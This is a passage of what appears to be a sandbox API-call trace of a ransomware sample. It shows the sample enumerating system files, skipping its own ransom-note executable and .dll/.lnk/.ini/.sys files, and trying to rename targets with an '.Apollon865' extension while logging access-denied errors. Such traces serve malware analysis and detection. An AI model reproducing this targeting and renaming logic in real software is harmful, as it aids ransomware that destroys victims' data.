	[0076.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597de90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x4597de90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.411] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0076.411] lstrcmpiW (lpString1="hr-HR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.411] lstrcmpiW (lpString1="hr-HR", lpString2="Apollon865.txt.exe") returned 1
	[0076.411] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hr-HR" | out: lpString1="hr-HR") returned="hr-HR"
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591bc0
	[0076.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fd70
	[0076.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0076.411] lstrcmpiW (lpString1="hu-HU", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.411] lstrcmpiW (lpString1="hu-HU", lpString2="Apollon865.txt.exe") returned 1
	[0076.411] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hu-HU" | out: lpString1="hu-HU") returned="hu-HU"
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0076.411] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591c40
	[0076.411] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x59fc90
	[0076.411] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ece8572, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2ece8572, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2ea60e45, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0076.411] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.411] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2="Apollon865.txt.exe") returned 1
	[0076.411] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrcommonlm.dat" | out: lpString1="hwrcommonlm.dat") returned="hwrcommonlm.dat"
	[0076.411] lstrlenW (lpString="hwrcommonlm.dat") returned 15
	[0076.411] lstrlenW (lpString="Apollon865") returned 10
	[0076.411] lstrcmpiW (lpString1="mmonlm.dat", lpString2="Apollon865") returned 1
	[0076.412] lstrlenW (lpString=".dll") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".dll") returned 1
	[0076.412] lstrlenW (lpString=".lnk") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".lnk") returned 1
	[0076.412] lstrlenW (lpString=".ini") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".ini") returned 1
	[0076.412] lstrlenW (lpString=".sys") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrcommonlm.dat", lpString2=".sys") returned 1
	[0076.412] lstrlenW (lpString="hwrcommonlm.dat") returned 15
	[0076.412] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="HWRCustomization" | out: lpString1="HWRCustomization") returned="HWRCustomization"
	[0076.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0076.412] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x88) returned 0x5b90d8
	[0076.412] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0076.412] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7eaa54, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x2f7eaa54, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x2f301d57, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0xb6710, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwrenalm.dat", cAlternateFileName="")) returned 1
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2="Apollon865.txt.exe") returned 1
	[0076.412] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrenalm.dat" | out: lpString1="hwrenalm.dat") returned="hwrenalm.dat"
	[0076.412] lstrlenW (lpString="hwrenalm.dat") returned 12
	[0076.412] lstrlenW (lpString="Apollon865") returned 10
	[0076.412] lstrcmpiW (lpString1="renalm.dat", lpString2="Apollon865") returned 1
	[0076.412] lstrlenW (lpString=".dll") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".dll") returned 1
	[0076.412] lstrlenW (lpString=".lnk") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".lnk") returned 1
	[0076.412] lstrlenW (lpString=".ini") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".ini") returned 1
	[0076.412] lstrlenW (lpString=".sys") returned 4
	[0076.412] lstrcmpiW (lpString1="hwrenalm.dat", lpString2=".sys") returned 1
	[0076.412] lstrlenW (lpString="hwrenalm.dat") returned 12
	[0076.412] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrenclm.dat" | out: lpString1="hwrenclm.dat") returned="hwrenclm.dat"
	[0076.413] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0076.413] lstrlenW (lpString="Apollon865") returned 10
	[0076.413] lstrcmpiW (lpString1="renclm.dat", lpString2="Apollon865") returned 1
	[0076.413] lstrlenW (lpString=".dll") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".dll") returned 1
	[0076.413] lstrlenW (lpString=".lnk") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".lnk") returned 1
	[0076.413] lstrlenW (lpString=".ini") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".ini") returned 1
	[0076.413] lstrlenW (lpString=".sys") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrenclm.dat", lpString2=".sys") returned 1
	[0076.413] lstrlenW (lpString="hwrenclm.dat") returned 12
	[0076.413] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrlatinlm.dat" | out: lpString1="hwrlatinlm.dat") returned="hwrlatinlm.dat"
	[0076.413] lstrlenW (lpString="hwrlatinlm.dat") returned 14
	[0076.413] lstrlenW (lpString="Apollon865") returned 10
	[0076.413] lstrcmpiW (lpString1="atinlm.dat", lpString2="Apollon865") returned 1
	[0076.413] lstrlenW (lpString=".dll") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".dll") returned 1
	[0076.413] lstrlenW (lpString=".lnk") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".lnk") returned 1
	[0076.413] lstrlenW (lpString=".ini") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".ini") returned 1
	[0076.413] lstrlenW (lpString=".sys") returned 4
	[0076.413] lstrcmpiW (lpString1="hwrlatinlm.dat", lpString2=".sys") returned 1
	[0076.413] lstrlenW (lpString="hwrlatinlm.dat") returned 14
	[0076.413] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwruklm.dat" | out: lpString1="hwruklm.dat") returned="hwruklm.dat"
	[0076.413] lstrlenW (lpString="hwruklm.dat") returned 11
	[0076.413] lstrlenW (lpString="Apollon865") returned 10
	[0076.413] lstrcmpiW (lpString1="wruklm.dat", lpString2="Apollon865") returned 1
	[0076.413] lstrlenW (lpString=".dll") returned 4
	[0076.413] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".dll") returned 1
	[0076.413] lstrlenW (lpString=".lnk") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".lnk") returned 1
	[0076.414] lstrlenW (lpString=".ini") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".ini") returned 1
	[0076.414] lstrlenW (lpString=".sys") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".sys") returned 1
	[0076.414] lstrlenW (lpString="hwruklm.dat") returned 11
	[0076.414] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwruksh.dat" | out: lpString1="hwruksh.dat") returned="hwruksh.dat"
	[0076.414] lstrlenW (lpString="hwruksh.dat") returned 11
	[0076.414] lstrlenW (lpString="Apollon865") returned 10
	[0076.414] lstrcmpiW (lpString1="wruksh.dat", lpString2="Apollon865") returned 1
	[0076.414] lstrlenW (lpString=".dll") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".dll") returned 1
	[0076.414] lstrlenW (lpString=".lnk") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".lnk") returned 1
	[0076.414] lstrlenW (lpString=".ini") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".ini") returned 1
	[0076.414] lstrlenW (lpString=".sys") returned 4
	[0076.414] lstrcmpiW (lpString1="hwruksh.dat", lpString2=".sys") returned 1
	[0076.414] lstrlenW (lpString="hwruksh.dat") returned 11
	[0076.414] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrusalm.dat" | out: lpString1="hwrusalm.dat") returned="hwrusalm.dat"
	[0076.414] lstrlenW (lpString="hwrusalm.dat") returned 12
	[0076.414] lstrlenW (lpString="Apollon865") returned 10
	[0076.414] lstrcmpiW (lpString1="rusalm.dat", lpString2="Apollon865") returned 1
	[0076.414] lstrlenW (lpString=".dll") returned 4
	[0076.414] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".dll") returned 1
	[0076.414] lstrlenW (lpString=".lnk") returned 4
	[0076.414] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".lnk") returned 1
	[0076.414] lstrlenW (lpString=".ini") returned 4
	[0076.414] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".ini") returned 1
	[0076.414] lstrlenW (lpString=".sys") returned 4
	[0076.414] lstrcmpiW (lpString1="hwrusalm.dat", lpString2=".sys") returned 1
	[0076.415] lstrlenW (lpString="hwrusalm.dat") returned 12
	[0076.415] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="hwrusash.dat" | out: lpString1="hwrusash.dat") returned="hwrusash.dat"
	[0076.415] lstrlenW (lpString="hwrusash.dat") returned 12
	[0076.415] lstrlenW (lpString="Apollon865") returned 10
	[0076.415] lstrcmpiW (lpString1="rusash.dat", lpString2="Apollon865") returned 1
	[0076.415] lstrlenW (lpString=".dll") returned 4
	[0076.415] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".dll") returned 1
	[0076.415] lstrlenW (lpString=".lnk") returned 4
	[0076.415] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".lnk") returned 1
	[0076.415] lstrlenW (lpString=".ini") returned 4
	[0076.415] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".ini") returned 1
	[0076.415] lstrlenW (lpString=".sys") returned 4
	[0076.415] lstrcmpiW (lpString1="hwrusash.dat", lpString2=".sys") returned 1
	[0076.415] lstrlenW (lpString="hwrusash.dat") returned 12
	[0076.415] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="InkDiv.dll" | out: lpString1="InkDiv.dll") returned="InkDiv.dll"
	[0076.415] lstrlenW (lpString="InkDiv.dll") returned 10
	[0076.415] lstrlenW (lpString="Apollon865") returned 10
	[0076.415] lstrlenW (lpString=".dll") returned 4
	[0076.415] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".dll") returned 1
	[0076.415] lstrlenW (lpString=".lnk") returned 4
	[0076.415] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".lnk") returned 1
	[0076.415] lstrlenW (lpString=".ini") returned 4
	[0076.415] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".ini") returned 1
	[0076.415] lstrlenW (lpString=".sys") returned 4
	[0076.415] lstrcmpiW (lpString1="InkDiv.dll", lpString2=".sys") returned 1
	[0076.415] lstrlenW (lpString="InkDiv.dll") returned 10
	[0076.415] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="InkObj.dll" | out: lpString1="InkObj.dll") returned="InkObj.dll"
	[0076.415] lstrlenW (lpString="InkObj.dll") returned 10
	[0076.415] lstrlenW (lpString="Apollon865") returned 10
	[0076.415] lstrlenW (lpString=".dll") returned 4
	[0076.416] lstrcmpiW (lpString1="InkObj.dll", lpString2=".dll") returned 1
	[0076.416] lstrlenW (lpString=".lnk") returned 4
	[0076.416] lstrcmpiW (lpString1="InkObj.dll", lpString2=".lnk") returned 1
	[0076.416] lstrlenW (lpString=".ini") returned 4
	[0076.416] lstrcmpiW (lpString1="InkObj.dll", lpString2=".ini") returned 1
	[0076.416] lstrlenW (lpString=".sys") returned 4
	[0076.416] lstrcmpiW (lpString1="InkObj.dll", lpString2=".sys") returned 1
	[0076.416] lstrlenW (lpString="InkObj.dll") returned 10
	[0076.416] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="InkWatson.exe" | out: lpString1="InkWatson.exe") returned="InkWatson.exe"
	[0076.416] lstrlenW (lpString="InkWatson.exe") returned 13
	[0076.416] lstrlenW (lpString="Apollon865") returned 10
	[0076.416] lstrcmpiW (lpString1="Watson.exe", lpString2="Apollon865") returned 1
	[0076.416] lstrlenW (lpString=".dll") returned 4
	[0076.416] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".dll") returned 1
	[0076.416] lstrlenW (lpString=".lnk") returned 4
	[0076.416] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".lnk") returned 1
	[0076.416] lstrlenW (lpString=".ini") returned 4
	[0076.416] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".ini") returned 1
	[0076.416] lstrlenW (lpString=".sys") returned 4
	[0076.416] lstrcmpiW (lpString1="InkWatson.exe", lpString2=".sys") returned 1
	[0076.416] lstrlenW (lpString="InkWatson.exe") returned 13
	[0076.416] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="InputPersonalization.exe" | out: lpString1="InputPersonalization.exe") returned="InputPersonalization.exe"
	[0076.416] lstrlenW (lpString="InputPersonalization.exe") returned 24
	[0076.416] lstrlenW (lpString="Apollon865") returned 10
	[0076.416] lstrcmpiW (lpString1="zation.exe", lpString2="Apollon865") returned 1
	[0076.416] lstrlenW (lpString=".dll") returned 4
	[0076.416] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".dll") returned 1
	[0076.416] lstrlenW (lpString=".lnk") returned 4
	[0076.416] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".lnk") returned 1
	[0076.416] lstrlenW (lpString=".ini") returned 4
	[0076.416] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".ini") returned 1
	[0076.417] lstrlenW (lpString=".sys") returned 4
	[0076.417] lstrcmpiW (lpString1="InputPersonalization.exe", lpString2=".sys") returned 1
	[0076.417] lstrlenW (lpString="InputPersonalization.exe") returned 24
	[0076.417] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipscat.xml" | out: lpString1="ipscat.xml") returned="ipscat.xml"
	[0076.417] lstrlenW (lpString="ipscat.xml") returned 10
	[0076.417] lstrlenW (lpString="Apollon865") returned 10
	[0076.417] lstrlenW (lpString=".dll") returned 4
	[0076.417] lstrcmpiW (lpString1="ipscat.xml", lpString2=".dll") returned 1
	[0076.417] lstrlenW (lpString=".lnk") returned 4
	[0076.417] lstrcmpiW (lpString1="ipscat.xml", lpString2=".lnk") returned 1
	[0076.417] lstrlenW (lpString=".ini") returned 4
	[0076.417] lstrcmpiW (lpString1="ipscat.xml", lpString2=".ini") returned 1
	[0076.417] lstrlenW (lpString=".sys") returned 4
	[0076.417] lstrcmpiW (lpString1="ipscat.xml", lpString2=".sys") returned 1
	[0076.417] lstrlenW (lpString="ipscat.xml") returned 10
	[0076.417] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.Apollon865") returned 72
	[0076.417] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.417] GetLastError () returned 0x5
	[0076.417] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml MoveFileEx error 5\r\n") returned 90
	[0076.417] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml MoveFileEx error 5\r\n") returned 90
	[0076.417] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.418] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2dc5
	[0076.418] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.418] CloseHandle (hObject=0x15c) returned 1
	[0076.418] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.418] CloseHandle (hObject=0x0) returned 0
	[0076.418] CloseHandle (hObject=0x0) returned 0
	[0076.418] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27bfdab7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27bfdab7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipschs.xml", cAlternateFileName="")) returned 1
	[0076.418] lstrcmpiW (lpString1="ipschs.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.418] lstrcmpiW (lpString1="ipschs.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.418] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipschs.xml" | out: lpString1="ipschs.xml") returned="ipschs.xml"
	[0076.418] lstrlenW (lpString="ipschs.xml") returned 10
	[0076.418] lstrlenW (lpString="Apollon865") returned 10
	[0076.418] lstrlenW (lpString=".dll") returned 4
	[0076.418] lstrcmpiW (lpString1="ipschs.xml", lpString2=".dll") returned 1
	[0076.418] lstrlenW (lpString=".lnk") returned 4
	[0076.419] lstrcmpiW (lpString1="ipschs.xml", lpString2=".lnk") returned 1
	[0076.419] lstrlenW (lpString=".ini") returned 4
	[0076.419] lstrcmpiW (lpString1="ipschs.xml", lpString2=".ini") returned 1
	[0076.419] lstrlenW (lpString=".sys") returned 4
	[0076.419] lstrcmpiW (lpString1="ipschs.xml", lpString2=".sys") returned 1
	[0076.419] lstrlenW (lpString="ipschs.xml") returned 10
	[0076.419] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.Apollon865") returned 72
	[0076.419] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.419] GetLastError () returned 0x5
	[0076.419] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml MoveFileEx error 5\r\n") returned 90
	[0076.419] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml MoveFileEx error 5\r\n") returned 90
	[0076.419] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.419] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e1f
	[0076.419] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.420] CloseHandle (hObject=0x15c) returned 1
	[0076.420] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.420] CloseHandle (hObject=0x0) returned 0
	[0076.420] CloseHandle (hObject=0x0) returned 0
	[0076.420] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipscht.xml", cAlternateFileName="")) returned 1
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.420] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipscht.xml" | out: lpString1="ipscht.xml") returned="ipscht.xml"
	[0076.420] lstrlenW (lpString="ipscht.xml") returned 10
	[0076.420] lstrlenW (lpString="Apollon865") returned 10
	[0076.420] lstrlenW (lpString=".dll") returned 4
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2=".dll") returned 1
	[0076.420] lstrlenW (lpString=".lnk") returned 4
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2=".lnk") returned 1
	[0076.420] lstrlenW (lpString=".ini") returned 4
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2=".ini") returned 1
	[0076.420] lstrlenW (lpString=".sys") returned 4
	[0076.420] lstrcmpiW (lpString1="ipscht.xml", lpString2=".sys") returned 1
	[0076.420] lstrlenW (lpString="ipscht.xml") returned 10
	[0076.420] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.Apollon865") returned 72
	[0076.420] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.430] GetLastError () returned 0x5
	[0076.431] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml MoveFileEx error 5\r\n") returned 90
	[0076.431] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml MoveFileEx error 5\r\n") returned 90
	[0076.431] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0076.431] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2e79
	[0076.431] WriteFile (in: hFile=0x15c, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.431] CloseHandle (hObject=0x15c) returned 1
	[0076.431] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.431] CloseHandle (hObject=0x0) returned 0
	[0076.431] CloseHandle (hObject=0x0) returned 0
	[0076.431] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27c23c14, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27c23c14, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x91865215, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipscsy.xml", cAlternateFileName="")) returned 1
	[0076.431] lstrcmpiW (lpString1="ipscsy.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.431] lstrcmpiW (lpString1="ipscsy.xml", lpString2="Apollon865.txt.exe") returned 1
